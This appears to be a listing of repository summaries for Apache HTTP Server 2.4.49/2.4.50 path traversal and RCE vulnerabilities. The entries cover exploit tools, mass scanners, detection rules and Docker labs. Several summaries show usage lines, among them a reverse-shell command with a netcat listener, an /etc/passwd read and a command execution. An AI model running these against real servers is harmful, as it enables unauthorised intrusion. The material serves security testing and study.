cve-2021-41773-and-cve-2021-42013

cve-2021-41773 and cve-2021-42013 cve-2021-41773 and cve-2021-42013 batch verification Python script Runtime environment: python3 Usage: python3 poc.py url.txt url.txt contains the URLs to be tested, and URLs with vulnerabilities will be written to success.txt The verification content is very...

CVE-2021-42013

This repository does not have a README...

apache-exploit-CVE-2021-42013

apache-exploit-CVE-2021-42013 Exploit with integrated shodan search Please use it just in educational purpose!...

Sigma-Rule-for-CVE-2021-41773-and-CVE-2021-42013-exploitation-attempt

This repository does not have a README...

CVE-2021-42013

This repository does not have a README...

cve-2021-42013L

cve-2021-42013 Apache 2.4.50 Path traversal vulnerability Follow Youtube Twitter Telegram Vulnmachines.com...

CVE-2021-41773-Playground

CVE-2021-41773-Playground Some docker images to play with CVE-2021-41773 and CVE-2021-42013 run docker compose up -d to spin up all the containers. Servers will run on ports 8080, 8081, 8082, and 8083. 8080 contains an Apache 2.4.49 with CGI disabled. 8081 contains an Apache 2.4.49 with CGI...

Apache-CVEs

Apache-CVEs Exploit created in python3 to exploit known vulnerabilities in Apache web server CVE-2021-41773, CVE-2021-42013 What's apache The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows. The goa...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999...

CVE-2021-41773_CVE-2021-42013

CVE-2021-41773CVE-2021-42013 CVE-2021-41773 CVE-2021-42013 multi-threaded vulnerability batch detection and exploitation tool Introduction This tool can only be used for security testing, do not use for illegal purposes! Tool Purpose CVE-2021-41773 CVE-2021-42013 multi-threaded vulnerability batc...

apachrot

Apache Linux CVE-2021-41773/2021-42013 Mass Vulnerability Checker Automatic Mass Tool for checking vulnerability in Apache Linux 2.4.49/50 Using GNU Parallel. You must have parallel for running this tool Install Parallel Linux : command apt-get install parallel -y Windows : You can install WSL...

CVE-2021-42013

CVE-2021-42013 Vulnerability Scanner This Python script checks for the Remote Code Execution RCE vulnerability CVE-2021-42013 in Apache 2.4.50. Introduction This script is designed to help identify if a server is vulnerable to the CVE-2021-42013 RCE vulnerability in Apache 2.4.50. It checks the...

apache-httpd-path-traversal-checker

Apache HTTPD Path Traversal Checker 0x00 Overview On October 5, 2021, the directory traversal vulnerability CVE-2021-41773 in Apache HTTPD 2.4.49 was disclosed online, which could lead to arbitrary file reading if the traversed directory is accessible, such as when configured with Require all...

Apache-CVE-2021-42013-RCE-Exploit

🚀 Overview This exploit tool targets path traversal and remote code execution vulnerabilities in Apache HTTP Server versions 2.4.49 and 2.4.50. The tool uses curl backend to bypass URL encoding issues that affect other Python-based exploit attempts, providing reliable exploitation even when other...

cve-2021-42013-httpd

Dockerisation of a Vulnerability: cve-2021-42013 This project aims to dockerize a specific vulnerability using Docker. The goal is to create an isolated environment in which the vulnerability can be exploited and tested securely. Vulnerable Application Apache HTTP Server 2.4.50 - Remote Code...

Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit

Exploit for CVE-2021-41773 and CVE-2021-42013 Path traversal attack and RCE in Apache/2.4.49-2.4.50 Features - Take a list of urls - Works for both CGI and non-CGI - Works for Apache/2.4.49 - 2.4.50 Usage $ git clone https://github.com/CalfCrusher/Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit $...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE A python3 script for the CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE requires cgi-bin to be enabled Getting Started Executing program LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t...

apache-cve-2021-42013-lab

Apache HTTP Server 2.4.49 Path Traversal & Remote Code Execution CVE-2021-42013 About the Project In this project, I demonstrated the CVE-2021-42013 vulnerability in Apache HTTP Server version 2.4.49 in a lab environment I created using Docker. The goal is to examine how the vulnerability occurs,...

Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution

Apache HTTP-Server 2.4.49-2.4.50 Path Traversal & Remote Code Execution Description This is a PoC script for CVE-2021-41773 & CVE-2021-42013 Usage: python3 exploit.py | Example: Remote Code Execution python3 exploit.py 127.0.0.1 8080 rce 'id' Path Traversal python3 exploit.py 127.0.0.1 8080 file...

Apache-HTTP-Server-2.4.50-RCE

Apache-HTTP-Server-2.4.50-RCE This tool is designed to test Apache servers for the CVE-2021-41773 / CVE-2021-42013 vulnerability. It is intended for educational purposes only and should be used responsibly on systems you have explicit permission to test. Installation: Clone the repository: git...